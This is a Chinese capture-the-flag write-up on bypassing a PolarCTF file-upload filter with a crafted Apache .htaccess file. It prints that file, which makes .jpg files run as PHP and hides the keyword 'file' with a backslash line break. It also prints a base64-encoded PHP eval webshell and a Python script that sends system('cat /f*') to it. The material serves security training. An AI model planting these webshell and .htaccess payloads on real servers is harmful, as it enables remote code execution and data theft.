对apache服务器环境下利用.htaccess配置文件完成文件上传的理解
.htaccess
文件是 Apache Web 服务器中的配置文件,用于控制服务器的行为。其格式非常简单,通常由一系列指令和规则组成
我们这里可以利用的就是把别的格式的文件当作php文件来执行
AddType application/x-httpd-php .jpg
AddType
:AddType
是 Apache 配置指令,用于为特定的文件扩展名指定 MIME 类型。MIME 类型(Multipurpose Internet Mail Extensions)用于指示浏览器如何处理某种类型的文件。
application/x-httpd-php
:application/x-httpd-php
是指定的 MIME 类型。在这里,它表示文件将被作为 PHP 脚本来处理。- 正常情况下,PHP 文件的 MIME 类型通常是
application/x-httpd-php
,这意味着该文件应由 PHP 解析器处理,而不是由浏览器直接下载或展示。
.jpg
:.jpg
是目标文件的扩展名。在此指令中,它表示所有以.jpg
结尾的文件。
整体作用
当这条指令被包含在 .htaccess
文件或 Apache 配置中时,它的效果是:
- 任何请求后缀为
.jpg
的文件将被 Apache 服务器视作 PHP 文件进行处理。这意味着即使文件的扩展名是.jpg
,服务器仍然会将其当作 PHP 脚本执行,而不是作为普通的图像文件返回。
例题 polarctf 困难 上传
回到这道题,明白了htaccess的用法之后我们就可以传马了
script头可以绕过对<?的过滤,但是在php7之后这些标签都被移除了,因此可以采取编码的方式绕过,将我们要上传的一句话木马使用base64编码后进行上传
php肯定没法解析base64编码后的代码,所以在执行前需要进行base64解码,这里同样需要利用htaccess进行解码
php_value auto_append_file "php://filter/read=convert.base64-decode/resource=yjh.jpg"
php_value
:php_value
是一种指令,通常在 Apache 的.htaccess
文件中使用,用于设置 PHP 的配置选项。这允许用户在特定目录下更改某些 PHP 设置,而不必修改全局的php.ini
文件。
auto_append_file
:auto_append_file
是一个 PHP 配置选项,用于指定在每个脚本执行完毕后自动附加的文件。这意味着在每个 PHP 脚本结束时,指定的文件内容将被添加到输出中。
"php://filter/read=convert.base64-decode/resource=yjh.jpg"
:- 这是一个特殊的流路径,使用了php:filter这个协议。具体来说,它做了以下几件事情:
read=convert.base64-decode
:这是一个过滤器,指示 PHP 在读取文件时,对其执行 Base64 解码。即该路径会将文件的内容视作 Base64 编码的内容进行解码。resource=yjh.jpg
:这是要读取的资源,这里指定的文件是yjh.jpg
,即该 JPEG 文件。
- 这是一个特殊的流路径,使用了php:filter这个协议。具体来说,它做了以下几件事情:
整体作用
通过设置 auto_append_file
为这个流路径,PHP 在处理每个请求时:
- 在执行完 PHP 脚本后,自动读取指定的 JPEG 文件 (
yjh.jpg
),并对其内容进行 Base64 解码。 - 将解码后的内容附加到最终的输出中。
这里还要注意一个问题
由于本题过滤了文件内容中的file,所以我们需要利用反斜杠加换行绕过file过滤
在 PHP 和许多编程语言或配置文件中,反斜杠(\
)可以用作行续符,允许将一条指令拆分为多行书写。这种方式可以在代码或配置中增强可读性,但是在某些情况下,它也可以作为一种简单的"绕过"机制,避免触发特定文本的过滤或识别。
通过在 file
和其后内容之间插入反斜杠并换行,关键词 file
被拆分为两部分,使得过滤机制不再能识别完整的 file
这个关键词。
例如,php_value auto_append_fi\
作为一行,\le
在下一行,其实是在继续前一行的内容,从而构成了 auto_append_file
。由于过滤机制只检测单行 ,因此无法判断 file
是整个关键词的一部分。
php_value auto_append_fi\
le
至此本题思路结束
上传htaccess文件
AddType application/x-httpd-php .jpg
php_value auto_append_fi\
le "php://filter/convert.base64-decode/resource=yjh.jpg"
上传base64编码后的一句话马文件
PD9waHAgZXZhbCgkX1BPU1RbJ2EnXSk7Pz4=
上传,访问/upload/yjh.jpg,传参,拿到flag
Exp
python
import requests
url='http://949c4480-402d-40c7-8119-4af0266f6c9e.www.polarctf.com:8090/upload/yjh.jpg'
data={'a':'system("cat /f*");'}
r=requests.post(url,data=data)
print(r.text)